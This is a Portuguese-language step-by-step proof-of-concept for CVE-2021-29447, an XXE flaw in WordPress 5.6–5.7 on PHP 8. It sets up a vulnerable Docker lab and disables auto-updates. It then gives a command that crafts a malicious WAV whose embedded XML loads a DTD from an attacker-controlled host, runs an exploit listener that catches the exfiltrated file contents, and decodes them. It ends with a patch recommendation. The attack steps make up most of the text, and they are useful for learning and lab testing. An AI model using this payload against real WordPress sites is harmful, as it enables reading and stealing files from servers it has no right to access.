
A CVE-2021-29447 é uma vulnerabilidade de injeção de Entidade Externa XML (XXE) que afeta o WordPress versões 5.6–5.7 (corrigida na 5.7.1) quando executado com PHP 8.0+. A vulnerabilidade reside na biblioteca getID3 usada para análise de metadados de mídia.
O WordPress processa blocos iXML de arquivos WAV por meio do getID3, que invoca simplexml_load_string() com a flag LIBXML_NOENT. Essa flag habilita explicitamente a substituição de entidades externas, contornando as proteções XXE padrão do PHP 8 (libxml_disable_entity_loader() obsoleta).
Esta PoC demonstra a vulnerabilidade usando WordPress 5.7 + PHP 8.0.3 em Docker. Usuários de Linux podem usar um script de arquivo único que também gera os arquivos WAV/DTD.
▶️: https://youtu.be/YnGowuWHFyY
Instale o Docker Desktop no host Windows
Crie um diretório de projeto dedicado (todos os comandos PowerShell são executados aqui):
#powershell
mkdir cve-2021-29447-poc
cd cve-2021-29447-poc
Implante o WordPress vulnerável:
#powershell
notepad docker-compose.yml
Copie e cole o conteúdo do docker-compose.yml
Inicie os contêineres:
#powershell
docker-compose up -d
Desative as atualizações automáticas (crítico para a persistência da vulnerabilidade):
#powershell
docker-compose exec wordpress bash
#bash
sed -i "s/WP_AUTO_UPDATE_CORE', true/WP_AUTO_UPDATE_CORE', false/g" /var/www/html/wp-config-sample.php
echo "define('AUTOMATIC_UPDATER_DISABLED', true);" >> /var/www/html/wp-config-sample.php
echo "define('WP_AUTO_UPDATE_CORE', false);" >> /var/www/html/wp-config-sample.php
tail -5 /var/www/html/wp-config-sample.php
exit
Verifique as versões vulneráveis:
#powershell
docker-compose exec wordpress bash -c "grep wp_version /var/www/html/wp-includes/version.php && php -v"
Esperado: WordPress 5.7, PHP 8.0+
Instalação do WordPress:
Navegue: http://localhost:8080
Admin: test / test / [email protected]
Conclua a configuração → Acesse /wp-admin
Descoberta do IP do Atacante:
#powershell
ipconfig | findstr IPv4
Anote seu IP (ex.: 192.168.1.196)
Crie o payload DTD:
#powershell
notepad evil.dtd
Copie e cole o conteúdo do evil.dtd
Gere o payload WAV (CLI Linux):
#bash
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOUR_IP:PORT/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
Transfira via python3 -m http.server 8000 → download no navegador Windows (ex.: http://<VM_IP>:8000)
Nota: WAV criado separadamente devido à complexidade de escape binário em ambientes Windows
Implante o servidor do exploit:
#powershell
notepad exploit.py
Copie e cole o conteúdo do exploit.py
Comando:
#powershell
python exploit.py -l YOUR_IP -p PORT
Dispare o XXE:
http://localhost:8080/wp-admin → Mídia → Adicionar Novo
Envie o payload.wav
Monitore o console do servidor Python -> capture os dados exfiltrados
Decodifique o payload Base64+Zlib:
#powershell
$bd='PASTE_BASE64_HERE';$bytes=[Convert]::FromBase64String($bd);$decoded=[System.IO.Compression.DeflateStream]::new([System.IO.MemoryStream]::new($bytes,$false),[System.IO.Compression.CompressionMode]::Decompress);[System.IO.StreamReader]::new($decoded).ReadToEnd()
Atualize para o WordPress 5.7.1+ ou desative o LIBXML_NOENT no parse do getID3.